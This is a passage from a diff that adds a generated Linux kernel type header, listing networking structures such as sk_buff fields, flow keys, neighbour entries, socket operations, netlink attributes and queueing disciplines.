wifi_acked: 1; + __u8 no_fcs: 1; + __u8 encapsulation: 1; + __u8 encap_hdr_csum: 1; + __u8 csum_valid: 1; + __u8 ndisc_nodetype: 2; + __u8 redirected: 1; + __u8 nf_skip_egress: 1; + __u8 slow_gro: 1; + __u16 tc_index; + u16 alloc_cpu; + union { + __wsum csum; + struct { + __u16 csum_start; + __u16 csum_offset; + }; + }; + __u32 priority; + int skb_iif; + __u32 hash; + union { + u32 vlan_all; + struct { + __be16 vlan_proto; + __u16 vlan_tci; + }; + }; + union { + unsigned int napi_id; + unsigned int sender_cpu; + }; + __u32 secmark; + union { + __u32 mark; + __u32 reserved_tailroom; + }; + union { + __be16 inner_protocol; + __u8 inner_ipproto; + }; + __u16 inner_transport_header; + __u16 inner_network_header; + __u16 inner_mac_header; + __be16 protocol; + __u16 transport_header; + __u16 network_header; + __u16 mac_header; + }; + struct { + __u8 __pkt_type_offset[0]; + __u8 pkt_type: 3; + __u8 ignore_df: 1; + __u8 dst_pending_confirm: 1; + __u8 ip_summed: 2; + __u8 ooo_okay: 1; + __u8 __mono_tc_offset[0]; + __u8 mono_delivery_time: 1; + __u8 tc_at_ingress: 1; + __u8 tc_skip_classify: 1; + __u8 remcsum_offload: 1; + __u8 csum_complete_sw: 1; + __u8 csum_level: 2; + __u8 inner_protocol_type: 1; + __u8 l4_hash: 1; + __u8 sw_hash: 1; + __u8 wifi_acked_valid: 1; + __u8 wifi_acked: 1; + __u8 no_fcs: 1; + __u8 encapsulation: 1; + __u8 encap_hdr_csum: 1; + __u8 csum_valid: 1; + __u8 ndisc_nodetype: 2; + __u8 redirected: 1; + __u8 nf_skip_egress: 1; + __u8 slow_gro: 1; + __u16 tc_index; + u16 alloc_cpu; + union { + __wsum csum; + struct { + __u16 csum_start; + __u16 csum_offset; + }; + }; + __u32 priority; + int skb_iif; + __u32 hash; + union { + u32 vlan_all; + struct { + __be16 vlan_proto; + __u16 vlan_tci; + }; + }; + union { + unsigned int napi_id; + unsigned int sender_cpu; + }; + __u32 secmark; + union { + __u32 mark; + __u32 reserved_tailroom; + }; + union { + __be16 inner_protocol; + __u8 inner_ipproto; + }; + __u16 inner_transport_header; + __u16 inner_network_header; + __u16 inner_mac_header; + __be16 protocol; + __u16 transport_header; + __u16 network_header; + __u16 mac_header; + } headers; + }; + sk_buff_data_t tail; + sk_buff_data_t end; + unsigned char *head; + unsigned char *data; + unsigned int truesize; + refcount_t users; + struct skb_ext *extensions; +}; + +struct dql { + unsigned int num_queued; + unsigned int adj_limit; + unsigned int last_obj_cnt; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned int limit; + unsigned int num_completed; + unsigned int prev_ovlimit; + unsigned int prev_num_queued; + unsigned int prev_last_obj_cnt; + unsigned int lowest_slack; + long unsigned int slack_start_time; + unsigned int max_limit; + unsigned int min_limit; + unsigned int slack_hold_time; + long: 64; + long: 64; +}; + +struct flowi_tunnel { + __be64 tun_id; +}; + +struct flowi_common { + int flowic_oif; + int flowic_iif; + int flowic_l3mdev; + __u32 flowic_mark; + __u8 flowic_tos; + __u8 flowic_scope; + __u8 flowic_proto; + __u8 flowic_flags; + __u32 flowic_secid; + kuid_t flowic_uid; + struct flowi_tunnel flowic_tun_key; + __u32 flowic_multipath_hash; +}; + +union flowi_uli { + struct { + __be16 dport; + __be16 sport; + } ports; + struct { + __u8 type; + __u8 code; + } icmpt; + __be32 gre_key; + struct { + __u8 type; + } mht; +}; + +struct flowi4 { + struct flowi_common __fl_common; + __be32 saddr; + __be32 daddr; + union flowi_uli uli; +}; + +struct flowi6 { + struct flowi_common __fl_common; + struct in6_addr daddr; + struct in6_addr saddr; + __be32 flowlabel; + union flowi_uli uli; + __u32 mp_hash; +}; + +struct flowi { + union { + struct flowi_common __fl_common; + struct flowi4 ip4; + struct flowi6 ip6; + } u; +}; + +struct prot_inuse { + int all; + int val[64]; +}; + +struct ipstats_mib { + u64 mibs[37]; + struct u64_stats_sync syncp; +}; + +struct icmp_mib { + long unsigned int mibs[30]; +}; + +struct icmpmsg_mib { + atomic_long_t mibs[512]; +}; + +struct icmpv6_mib { + long unsigned int mibs[7]; +}; + +struct icmpv6msg_mib { + atomic_long_t mibs[512]; +}; + +struct tcp_mib { + long unsigned int mibs[16]; +}; + +struct udp_mib { + long unsigned int mibs[10]; +}; + +struct linux_mib { + long unsigned int mibs[127]; +}; + +struct linux_tls_mib { + long unsigned int mibs[13]; +}; + +struct inet_frags; + +struct fqdir { + long int high_thresh; + long int low_thresh; + int timeout; + int max_dist; + struct inet_frags *f; + struct net *net; + bool dead; + long: 64; + long: 64; + struct rhashtable rhashtable; + long: 64; + long: 64; + long: 64; + long: 64; + atomic_long_t mem; + struct work_struct destroy_work; + struct llist_node free_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct inet_frag_queue; + +struct inet_frags { + unsigned int qsize; + void (*constructor)(struct inet_frag_queue *, const void *); + void (*destructor)(struct inet_frag_queue *); + void (*frag_expire)(struct timer_list *); + struct kmem_cache *frags_cachep; + const char *frags_cache_name; + struct rhashtable_params rhash_params; + refcount_t refcnt; + struct completion completion; +}; + +struct frag_v4_compare_key { + __be32 saddr; + __be32 daddr; + u32 user; + u32 vif; + __be16 id; + u16 protocol; +}; + +struct frag_v6_compare_key { + struct in6_addr saddr; + struct in6_addr daddr; + u32 user; + __be32 id; + u32 iif; +}; + +struct inet_frag_queue { + struct rhash_head node; + union { + struct frag_v4_compare_key v4; + struct frag_v6_compare_key v6; + } key; + struct timer_list timer; + spinlock_t lock; + refcount_t refcnt; + struct rb_root rb_fragments; + struct sk_buff *fragments_tail; + struct sk_buff *last_run_head; + ktime_t stamp; + int len; + int meat; + u8 mono_delivery_time; + __u8 flags; + u16 max_size; + struct fqdir *fqdir; + struct callback_head rcu; +}; + +struct fib_rule; + +struct fib_lookup_arg; + +struct fib_rule_hdr; + +struct nlattr; + +struct netlink_ext_ack; + +struct fib_rules_ops { + int family; + struct list_head list; + int rule_size; + int addr_size; + int unresolved_rules; + int nr_goto_rules; + unsigned int fib_rules_seq; + int (*action)(struct fib_rule *, struct flowi *, int, struct fib_lookup_arg *); + bool (*suppress)(struct fib_rule *, int, struct fib_lookup_arg *); + int (*match)(struct fib_rule *, struct flowi *, int); + int (*configure)(struct fib_rule *, struct sk_buff *, struct fib_rule_hdr *, struct nlattr **, struct netlink_ext_ack *); + int (*delete)(struct fib_rule *); + int (*compare)(struct fib_rule *, struct fib_rule_hdr *, struct nlattr **); + int (*fill)(struct fib_rule *, struct sk_buff *, struct fib_rule_hdr *); + size_t (*nlmsg_payload)(struct fib_rule *); + void (*flush_cache)(struct fib_rules_ops *); + int nlgroup; + struct list_head rules_list; + struct module *owner; + struct net *fro_net; + struct callback_head rcu; +}; + +enum tcp_ca_event { + CA_EVENT_TX_START = 0, + CA_EVENT_CWND_RESTART = 1, + CA_EVENT_COMPLETE_CWR = 2, + CA_EVENT_LOSS = 3, + CA_EVENT_ECN_NO_CE = 4, + CA_EVENT_ECN_IS_CE = 5, +}; + +struct ack_sample; + +struct rate_sample; + +union tcp_cc_info; + +struct tcp_congestion_ops { + u32 (*ssthresh)(struct sock *); + void (*cong_avoid)(struct sock *, u32, u32); + void (*set_state)(struct sock *, u8); + void (*cwnd_event)(struct sock *, enum tcp_ca_event); + void (*in_ack_event)(struct sock *, u32); + void (*pkts_acked)(struct sock *, const struct ack_sample *); + u32 (*min_tso_segs)(struct sock *); + void (*cong_control)(struct sock *, const struct rate_sample *); + u32 (*undo_cwnd)(struct sock *); + u32 (*sndbuf_expand)(struct sock *); + size_t (*get_info)(struct sock *, u32, int *, union tcp_cc_info *); + char name[16]; + struct module *owner; + struct list_head list; + u32 key; + u32 flags; + void (*init)(struct sock *); + void (*release)(struct sock *); + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct fib_notifier_ops { + int family; + struct list_head list; + unsigned int (*fib_seq_read)(struct net *); + int (*fib_dump)(struct net *, struct notifier_block *, struct netlink_ext_ack *); + struct module *owner; + struct callback_head rcu; +}; + +struct xfrm_state; + +struct uncached_list; + +struct lwtunnel_state; + +struct dst_entry { + struct net_device *dev; + struct dst_ops *ops; + long unsigned int _metrics; + long unsigned int expires; + struct xfrm_state *xfrm; + int (*input)(struct sk_buff *); + int (*output)(struct net *, struct sock *, struct sk_buff *); + short unsigned int flags; + short int obsolete; + short unsigned int header_len; + short unsigned int trailer_len; + rcuref_t __rcuref; + int __use; + long unsigned int lastuse; + struct callback_head callback_head; + short int error; + short int __pad; + __u32 tclassid; + netdevice_tracker dev_tracker; + struct list_head rt_uncached; + struct uncached_list *rt_uncached_list; + struct lwtunnel_state *lwtstate; +}; + +struct hh_cache { + unsigned int hh_len; + seqlock_t hh_lock; + long unsigned int hh_data[12]; +}; + +struct neigh_table; + +struct neigh_parms; + +struct neigh_ops; + +struct neighbour { + struct neighbour *next; + struct neigh_table *tbl; + struct neigh_parms *parms; + long unsigned int confirmed; + long unsigned int updated; + rwlock_t lock; + refcount_t refcnt; + unsigned int arp_queue_len_bytes; + struct sk_buff_head arp_queue; + struct timer_list timer; + long unsigned int used; + atomic_t probes; + u8 nud_state; + u8 type; + u8 dead; + u8 protocol; + u32 flags; + seqlock_t ha_lock; + unsigned char ha[32]; + struct hh_cache hh; + int (*output)(struct neighbour *, struct sk_buff *); + const struct neigh_ops *ops; + struct list_head gc_list; + struct list_head managed_list; + struct callback_head rcu; + struct net_device *dev; + netdevice_tracker dev_tracker; + u8 primary_key[0]; +}; + +typedef short unsigned int __kernel_sa_family_t; + +typedef __kernel_sa_family_t sa_family_t; + +struct sockaddr { + sa_family_t sa_family; + union { + char sa_data_min[14]; + struct { + struct {} __empty_sa_data; + char sa_data[0]; + }; + }; +}; + +struct ubuf_info; + +struct msghdr { + void *msg_name; + int msg_namelen; + int msg_inq; + struct iov_iter msg_iter; + union { + void *msg_control; + void *msg_control_user; + }; + bool msg_control_is_user: 1; + bool msg_get_inq: 1; + unsigned int msg_flags; + __kernel_size_t msg_controllen; + struct kiocb *msg_iocb; + struct ubuf_info *msg_ubuf; + int (*sg_from_iter)(struct sock *, struct sk_buff *, struct iov_iter *, size_t); +}; + +struct ubuf_info { + void (*callback)(struct sk_buff *, struct ubuf_info *, bool); + refcount_t refcnt; + u8 flags; +}; + +enum nf_log_type { + NF_LOG_TYPE_LOG = 0, + NF_LOG_TYPE_ULOG = 1, + NF_LOG_TYPE_MAX = 2, +}; + +typedef u8 u_int8_t; + +struct nf_loginfo; + +typedef void nf_logfn(struct net *, u_int8_t, unsigned int, const struct sk_buff *, const struct net_device *, const struct net_device *, const struct nf_loginfo *, const char *); + +struct nf_logger { + char *name; + enum nf_log_type type; + nf_logfn *logfn; + struct module *me; +}; + +struct ip_conntrack_stat { + unsigned int found; + unsigned int invalid; + unsigned int insert; + unsigned int insert_failed; + unsigned int clash_resolve; + unsigned int drop; + unsigned int early_drop; + unsigned int error; + unsigned int expect_new; + unsigned int expect_create; + unsigned int expect_delete; + unsigned int search_restart; + unsigned int chaintoolong; +}; + +struct flow_dissector { + unsigned int used_keys; + short unsigned int offset[31]; +}; + +struct gro_list { + struct list_head list; + int count; +}; + +struct napi_struct { + struct list_head poll_list; + long unsigned int state; + int weight; + int defer_hard_irqs_count; + long unsigned int gro_bitmask; + int (*poll)(struct napi_struct *, int); + int list_owner; + struct net_device *dev; + struct gro_list gro_hash[8]; + struct sk_buff *skb; + struct list_head rx_list; + int rx_count; + unsigned int napi_id; + struct hrtimer timer; + struct task_struct *thread; + struct list_head dev_list; + struct hlist_node napi_hash_node; +}; + +struct skb_shared_hwtstamps { + union { + ktime_t hwtstamp; + void *netdev_data; + }; +}; + +struct skb_ext { + refcount_t refcnt; + u8 offset[3]; + u8 chunks; + char data[0]; +}; + +struct skb_checksum_ops { + __wsum (*update)(const void *, int, __wsum); + __wsum (*combine)(__wsum, __wsum, int, int); +}; + +struct pernet_operations { + struct list_head list; + int (*init)(struct net *); + void (*pre_exit)(struct net *); + void (*exit)(struct net *); + void (*exit_batch)(struct list_head *); + unsigned int *id; + size_t size; +}; + +struct ieee_ets { + __u8 willing; + __u8 ets_cap; + __u8 cbs; + __u8 tc_tx_bw[8]; + __u8 tc_rx_bw[8]; + __u8 tc_tsa[8]; + __u8 prio_tc[8]; + __u8 tc_reco_bw[8]; + __u8 tc_reco_tsa[8]; + __u8 reco_prio_tc[8]; +}; + +struct ieee_maxrate { + __u64 tc_maxrate[8]; +}; + +struct ieee_qcn { + __u8 rpg_enable[8]; + __u32 rppp_max_rps[8]; + __u32 rpg_time_reset[8]; + __u32 rpg_byte_reset[8]; + __u32 rpg_threshold[8]; + __u32 rpg_max_rate[8]; + __u32 rpg_ai_rate[8]; + __u32 rpg_hai_rate[8]; + __u32 rpg_gd[8]; + __u32 rpg_min_dec_fac[8]; + __u32 rpg_min_rate[8]; + __u32 cndd_state_machine[8]; +}; + +struct ieee_qcn_stats { + __u64 rppp_rp_centiseconds[8]; + __u32 rppp_created_rps[8]; +}; + +struct ieee_pfc { + __u8 pfc_cap; + __u8 pfc_en; + __u8 mbc; + __u16 delay; + __u64 requests[8]; + __u64 indications[8]; +}; + +struct dcbnl_buffer { + __u8 prio2buffer[8]; + __u32 buffer_size[8]; + __u32 total_size; +}; + +struct cee_pg { + __u8 willing; + __u8 error; + __u8 pg_en; + __u8 tcs_supported; + __u8 pg_bw[8]; + __u8 prio_pg[8]; +}; + +struct cee_pfc { + __u8 willing; + __u8 error; + __u8 pfc_en; + __u8 tcs_supported; +}; + +struct dcb_app { + __u8 selector; + __u8 priority; + __u16 protocol; +}; + +struct dcb_peer_app_info { + __u8 willing; + __u8 error; +}; + +struct dcbnl_rtnl_ops { + int (*ieee_getets)(struct net_device *, struct ieee_ets *); + int (*ieee_setets)(struct net_device *, struct ieee_ets *); + int (*ieee_getmaxrate)(struct net_device *, struct ieee_maxrate *); + int (*ieee_setmaxrate)(struct net_device *, struct ieee_maxrate *); + int (*ieee_getqcn)(struct net_device *, struct ieee_qcn *); + int (*ieee_setqcn)(struct net_device *, struct ieee_qcn *); + int (*ieee_getqcnstats)(struct net_device *, struct ieee_qcn_stats *); + int (*ieee_getpfc)(struct net_device *, struct ieee_pfc *); + int (*ieee_setpfc)(struct net_device *, struct ieee_pfc *); + int (*ieee_getapp)(struct net_device *, struct dcb_app *); + int (*ieee_setapp)(struct net_device *, struct dcb_app *); + int (*ieee_delapp)(struct net_device *, struct dcb_app *); + int (*ieee_peer_getets)(struct net_device *, struct ieee_ets *); + int (*ieee_peer_getpfc)(struct net_device *, struct ieee_pfc *); + u8 (*getstate)(struct net_device *); + u8 (*setstate)(struct net_device *, u8); + void (*getpermhwaddr)(struct net_device *, u8 *); + void (*setpgtccfgtx)(struct net_device *, int, u8, u8, u8, u8); + void (*setpgbwgcfgtx)(struct net_device *, int, u8); + void (*setpgtccfgrx)(struct net_device *, int, u8, u8, u8, u8); + void (*setpgbwgcfgrx)(struct net_device *, int, u8); + void (*getpgtccfgtx)(struct net_device *, int, u8 *, u8 *, u8 *, u8 *); + void (*getpgbwgcfgtx)(struct net_device *, int, u8 *); + void (*getpgtccfgrx)(struct net_device *, int, u8 *, u8 *, u8 *, u8 *); + void (*getpgbwgcfgrx)(struct net_device *, int, u8 *); + void (*setpfccfg)(struct net_device *, int, u8); + void (*getpfccfg)(struct net_device *, int, u8 *); + u8 (*setall)(struct net_device *); + u8 (*getcap)(struct net_device *, int, u8 *); + int (*getnumtcs)(struct net_device *, int, u8 *); + int (*setnumtcs)(struct net_device *, int, u8); + u8 (*getpfcstate)(struct net_device *); + void (*setpfcstate)(struct net_device *, u8); + void (*getbcncfg)(struct net_device *, int, u32 *); + void (*setbcncfg)(struct net_device *, int, u32); + void (*getbcnrp)(struct net_device *, int, u8 *); + void (*setbcnrp)(struct net_device *, int, u8); + int (*setapp)(struct net_device *, u8, u16, u8); + int (*getapp)(struct net_device *, u8, u16); + u8 (*getfeatcfg)(struct net_device *, int, u8 *); + u8 (*setfeatcfg)(struct net_device *, int, u8); + u8 (*getdcbx)(struct net_device *); + u8 (*setdcbx)(struct net_device *, u8); + int (*peer_getappinfo)(struct net_device *, struct dcb_peer_app_info *, u16 *); + int (*peer_getapptable)(struct net_device *, struct dcb_app *); + int (*cee_peer_getpg)(struct net_device *, struct cee_pg *); + int (*cee_peer_getpfc)(struct net_device *, struct cee_pfc *); + int (*dcbnl_getbuffer)(struct net_device *, struct dcbnl_buffer *); + int (*dcbnl_setbuffer)(struct net_device *, struct dcbnl_buffer *); + int (*dcbnl_setapptrust)(struct net_device *, u8 *, int); + int (*dcbnl_getapptrust)(struct net_device *, u8 *, int *); + int (*dcbnl_setrewr)(struct net_device *, struct dcb_app *); + int (*dcbnl_delrewr)(struct net_device *, struct dcb_app *); +}; + +struct xdp_mem_info { + u32 type; + u32 id; +}; + +struct xdp_rxq_info { + struct net_device *dev; + u32 queue_index; + u32 reg_state; + struct xdp_mem_info mem; + unsigned int napi_id; + u32 frag_size; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xdp_txq_info { + struct net_device *dev; +}; + +struct xdp_buff { + void *data; + void *data_end; + void *data_meta; + void *data_hard_start; + struct xdp_rxq_info *rxq; + struct xdp_txq_info *txq; + u32 frame_sz; + u32 flags; +}; + +struct xdp_frame { + void *data; + u16 len; + u16 headroom; + u32 metasize; + struct xdp_mem_info mem; + struct net_device *dev_rx; + u32 frame_sz; + u32 flags; +}; + +enum xdp_rss_hash_type { + XDP_RSS_L3_IPV4 = 1, + XDP_RSS_L3_IPV6 = 2, + XDP_RSS_L3_DYNHDR = 4, + XDP_RSS_L4 = 8, + XDP_RSS_L4_TCP = 16, + XDP_RSS_L4_UDP = 32, + XDP_RSS_L4_SCTP = 64, + XDP_RSS_L4_IPSEC = 128, + XDP_RSS_TYPE_NONE = 0, + XDP_RSS_TYPE_L2 = 0, + XDP_RSS_TYPE_L3_IPV4 = 1, + XDP_RSS_TYPE_L3_IPV6 = 2, + XDP_RSS_TYPE_L3_IPV4_OPT = 5, + XDP_RSS_TYPE_L3_IPV6_EX = 6, + XDP_RSS_TYPE_L4_ANY = 8, + XDP_RSS_TYPE_L4_IPV4_TCP = 25, + XDP_RSS_TYPE_L4_IPV4_UDP = 41, + XDP_RSS_TYPE_L4_IPV4_SCTP = 73, + XDP_RSS_TYPE_L4_IPV4_IPSEC = 137, + XDP_RSS_TYPE_L4_IPV6_TCP = 26, + XDP_RSS_TYPE_L4_IPV6_UDP = 42, + XDP_RSS_TYPE_L4_IPV6_SCTP = 74, + XDP_RSS_TYPE_L4_IPV6_IPSEC = 138, + XDP_RSS_TYPE_L4_IPV6_TCP_EX = 30, + XDP_RSS_TYPE_L4_IPV6_UDP_EX = 46, + XDP_RSS_TYPE_L4_IPV6_SCTP_EX = 78, +}; + +typedef enum { + SS_FREE = 0, + SS_UNCONNECTED = 1, + SS_CONNECTING = 2, + SS_CONNECTED = 3, + SS_DISCONNECTING = 4, +} socket_state; + +struct socket_wq { + wait_queue_head_t wait; + struct fasync_struct *fasync_list; + long unsigned int flags; + struct callback_head rcu; + long: 64; + long: 64; +}; + +struct proto_ops; + +struct socket { + socket_state state; + short int type; + long unsigned int flags; + struct file *file; + struct sock *sk; + const struct proto_ops *ops; + long: 64; + long: 64; + long: 64; + struct socket_wq wq; +}; + +typedef struct { + size_t written; + size_t count; + union { + char *buf; + void *data; + } arg; + int error; +} read_descriptor_t; + +typedef int (*sk_read_actor_t)(read_descriptor_t *, struct sk_buff *, unsigned int, size_t); + +typedef int (*skb_read_actor_t)(struct sock *, struct sk_buff *); + +struct proto_ops { + int family; + struct module *owner; + int (*release)(struct socket *); + int (*bind)(struct socket *, struct sockaddr *, int); + int (*connect)(struct socket *, struct sockaddr *, int, int); + int (*socketpair)(struct socket *, struct socket *); + int (*accept)(struct socket *, struct socket *, int, bool); + int (*getname)(struct socket *, struct sockaddr *, int); + __poll_t (*poll)(struct file *, struct socket *, struct poll_table_struct *); + int (*ioctl)(struct socket *, unsigned int, long unsigned int); + int (*gettstamp)(struct socket *, void *, bool, bool); + int (*listen)(struct socket *, int); + int (*shutdown)(struct socket *, int); + int (*setsockopt)(struct socket *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct socket *, int, int, char *, int *); + void (*show_fdinfo)(struct seq_file *, struct socket *); + int (*sendmsg)(struct socket *, struct msghdr *, size_t); + int (*recvmsg)(struct socket *, struct msghdr *, size_t, int); + int (*mmap)(struct file *, struct socket *, struct vm_area_struct *); + ssize_t (*sendpage)(struct socket *, struct page *, int, size_t, int); + ssize_t (*splice_read)(struct socket *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + int (*set_peek_off)(struct sock *, int); + int (*peek_len)(struct socket *); + int (*read_sock)(struct sock *, read_descriptor_t *, sk_read_actor_t); + int (*read_skb)(struct sock *, skb_read_actor_t); + int (*sendpage_locked)(struct sock *, struct page *, int, size_t, int); + int (*sendmsg_locked)(struct sock *, struct msghdr *, size_t); + int (*set_rcvlowat)(struct sock *, int); +}; + +enum lockdown_reason { + LOCKDOWN_NONE = 0, + LOCKDOWN_MODULE_SIGNATURE = 1, + LOCKDOWN_DEV_MEM = 2, + LOCKDOWN_EFI_TEST = 3, + LOCKDOWN_KEXEC = 4, + LOCKDOWN_HIBERNATION = 5, + LOCKDOWN_PCI_ACCESS = 6, + LOCKDOWN_IOPORT = 7, + LOCKDOWN_MSR = 8, + LOCKDOWN_ACPI_TABLES = 9, + LOCKDOWN_DEVICE_TREE = 10, + LOCKDOWN_PCMCIA_CIS = 11, + LOCKDOWN_TIOCSSERIAL = 12, + LOCKDOWN_MODULE_PARAMETERS = 13, + LOCKDOWN_MMIOTRACE = 14, + LOCKDOWN_DEBUGFS = 15, + LOCKDOWN_XMON_WR = 16, + LOCKDOWN_BPF_WRITE_USER = 17, + LOCKDOWN_DBG_WRITE_KERNEL = 18, + LOCKDOWN_RTAS_ERROR_INJECTION = 19, + LOCKDOWN_INTEGRITY_MAX = 20, + LOCKDOWN_KCORE = 21, + LOCKDOWN_KPROBES = 22, + LOCKDOWN_BPF_READ_KERNEL = 23, + LOCKDOWN_DBG_READ_KERNEL = 24, + LOCKDOWN_PERF = 25, + LOCKDOWN_TRACEFS = 26, + LOCKDOWN_XMON_RW = 27, + LOCKDOWN_XFRM_SECRET = 28, + LOCKDOWN_CONFIDENTIALITY_MAX = 29, +}; + +struct nlmsghdr { + __u32 nlmsg_len; + __u16 nlmsg_type; + __u16 nlmsg_flags; + __u32 nlmsg_seq; + __u32 nlmsg_pid; +}; + +struct nlattr { + __u16 nla_len; + __u16 nla_type; +}; + +struct nla_policy; + +struct netlink_ext_ack { + const char *_msg; + const struct nlattr *bad_attr; + const struct nla_policy *policy; + const struct nlattr *miss_nest; + u16 miss_type; + u8 cookie[20]; + u8 cookie_len; + char _msg_buf[80]; +}; + +struct netlink_range_validation; + +struct netlink_range_validation_signed; + +struct nla_policy { + u8 type; + u8 validation_type; + u16 len; + union { + u16 strict_start_type; + const u32 bitfield32_valid; + const u32 mask; + const char *reject_message; + const struct nla_policy *nested_policy; + struct netlink_range_validation *range; + struct netlink_range_validation_signed *range_signed; + struct { + s16 min; + s16 max; + }; + int (*validate)(const struct nlattr *, struct netlink_ext_ack *); + }; +}; + +struct netlink_callback { + struct sk_buff *skb; + const struct nlmsghdr *nlh; + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + void *data; + struct module *module; + struct netlink_ext_ack *extack; + u16 family; + u16 answer_flags; + u32 min_dump_alloc; + unsigned int prev_seq; + unsigned int seq; + bool strict_check; + union { + u8 ctx[48]; + long int args[6]; + }; +}; + +struct ndmsg { + __u8 ndm_family; + __u8 ndm_pad1; + __u16 ndm_pad2; + __s32 ndm_ifindex; + __u16 ndm_state; + __u8 ndm_flags; + __u8 ndm_type; +}; + +typedef struct { + unsigned int clock_rate; + unsigned int clock_type; + short unsigned int loopback; +} sync_serial_settings; + +typedef struct { + unsigned int clock_rate; + unsigned int clock_type; + short unsigned int loopback; + unsigned int slot_map; +} te1_settings; + +typedef struct { + short unsigned int encoding; + short unsigned int parity; +} raw_hdlc_proto; + +typedef struct { + unsigned int t391; + unsigned int t392; + unsigned int n391; + unsigned int n392; + unsigned int n393; + short unsigned int lmi; + short unsigned int dce; +} fr_proto; + +typedef struct { + unsigned int dlci; +} fr_proto_pvc; + +typedef struct { + unsigned int dlci; + char master[16]; +} fr_proto_pvc_info; + +typedef struct { + unsigned int interval; + unsigned int timeout; +} cisco_proto; + +typedef struct { + short unsigned int dce; + unsigned int modulo; + unsigned int window; + unsigned int t1; + unsigned int t2; + unsigned int n2; +} x25_hdlc_proto; + +struct ifmap { + long unsigned int mem_start; + long unsigned int mem_end; + short unsigned int base_addr; + unsigned char irq; + unsigned char dma; + unsigned char port; +}; + +struct if_settings { + unsigned int type; + unsigned int size; + union { + raw_hdlc_proto *raw_hdlc; + cisco_proto *cisco; + fr_proto *fr; + fr_proto_pvc *fr_pvc; + fr_proto_pvc_info *fr_pvc_info; + x25_hdlc_proto *x25; + sync_serial_settings *sync; + te1_settings *te1; + } ifs_ifsu; +}; + +struct ifreq { + union { + char ifrn_name[16]; + } ifr_ifrn; + union { + struct sockaddr ifru_addr; + struct sockaddr ifru_dstaddr; + struct sockaddr ifru_broadaddr; + struct sockaddr ifru_netmask; + struct sockaddr ifru_hwaddr; + short int ifru_flags; + int ifru_ivalue; + int ifru_mtu; + struct ifmap ifru_map; + char ifru_slave[16]; + char ifru_newname[16]; + void *ifru_data; + struct if_settings ifru_settings; + } ifr_ifru; +}; + +struct rtnl_link_stats64 { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 rx_errors; + __u64 tx_errors; + __u64 rx_dropped; + __u64 tx_dropped; + __u64 multicast; + __u64 collisions; + __u64 rx_length_errors; + __u64 rx_over_errors; + __u64 rx_crc_errors; + __u64 rx_frame_errors; + __u64 rx_fifo_errors; + __u64 rx_missed_errors; + __u64 tx_aborted_errors; + __u64 tx_carrier_errors; + __u64 tx_fifo_errors; + __u64 tx_heartbeat_errors; + __u64 tx_window_errors; + __u64 rx_compressed; + __u64 tx_compressed; + __u64 rx_nohandler; + __u64 rx_otherhost_dropped; +}; + +struct rtnl_hw_stats64 { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 rx_errors; + __u64 tx_errors; + __u64 rx_dropped; + __u64 tx_dropped; + __u64 multicast; +}; + +struct ifla_vf_guid { + __u32 vf; + __u64 guid; +}; + +struct ifla_vf_stats { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 broadcast; + __u64 multicast; + __u64 rx_dropped; + __u64 tx_dropped; +}; + +struct ifla_vf_info { + __u32 vf; + __u8 mac[32]; + __u32 vlan; + __u32 qos; + __u32 spoofchk; + __u32 linkstate; + __u32 min_tx_rate; + __u32 max_tx_rate; + __u32 rss_query_en; + __u32 trusted; + __be16 vlan_proto; +}; + +struct tc_stats { + __u64 bytes; + __u32 packets; + __u32 drops; + __u32 overlimits; + __u32 bps; + __u32 pps; + __u32 qlen; + __u32 backlog; +}; + +struct tc_sizespec { + unsigned char cell_log; + unsigned char size_log; + short int cell_align; + int overhead; + unsigned int linklayer; + unsigned int mpu; + unsigned int mtu; + unsigned int tsize; +}; + +enum netdev_tx { + __NETDEV_TX_MIN = -2147483648, + NETDEV_TX_OK = 0, + NETDEV_TX_BUSY = 16, +}; + +typedef enum netdev_tx netdev_tx_t; + +struct net_device_core_stats { + long unsigned int rx_dropped; + long unsigned int tx_dropped; + long unsigned int rx_nohandler; + long unsigned int rx_otherhost_dropped; +}; + +struct header_ops { + int (*create)(struct sk_buff *, struct net_device *, short unsigned int, const void *, const void *, unsigned int); + int (*parse)(const struct sk_buff *, unsigned char *); + int (*cache)(const struct neighbour *, struct hh_cache *, __be16); + void (*cache_update)(struct hh_cache *, const struct net_device *, const unsigned char *); + bool (*validate)(const char *, unsigned int); + __be16 (*parse_protocol)(const struct sk_buff *); +}; + +struct xsk_buff_pool; + +struct netdev_queue { + struct net_device *dev; + netdevice_tracker dev_tracker; + struct Qdisc *qdisc; + struct Qdisc *qdisc_sleeping; + struct kobject kobj; + int numa_node; + long unsigned int tx_maxrate; + atomic_long_t trans_timeout; + struct net_device *sb_dev; + struct xsk_buff_pool *pool; + spinlock_t _xmit_lock; + int xmit_lock_owner; + long unsigned int trans_start; + long unsigned int state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct dql dql; +}; + +struct net_rate_estimator; + +struct qdisc_skb_head { + struct sk_buff *head; + struct sk_buff *tail; + __u32 qlen; + spinlock_t lock; +}; + +struct gnet_stats_basic_sync { + u64_stats_t bytes; + u64_stats_t packets; + struct u64_stats_sync syncp; +}; + +struct gnet_stats_queue { + __u32 qlen; + __u32 backlog; + __u32 drops; + __u32 requeues; + __u32 overlimits; +}; + +struct Qdisc_ops; + +struct qdisc_size_table; + +struct Qdisc { + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); + struct sk_buff * (*dequeue)(struct Qdisc *); + unsigned int flags; + u32 limit; + const struct Qdisc_ops *ops; + struct qdisc_size_table *stab; + struct hlist_node hash; + u32 handle; + u32 parent; + struct netdev_queue *dev_queue; + struct net_rate_estimator *rate_est; + struct gnet_stats_basic_sync *cpu_bstats; + struct gnet_stats_queue *cpu_qstats; + int pad; + refcount_t refcnt; + long: 64; + long: 64; + long: 64; + struct sk_buff_head gso_skb; + struct qdisc_skb_head q; + struct gnet_stats_basic_sync bstats; 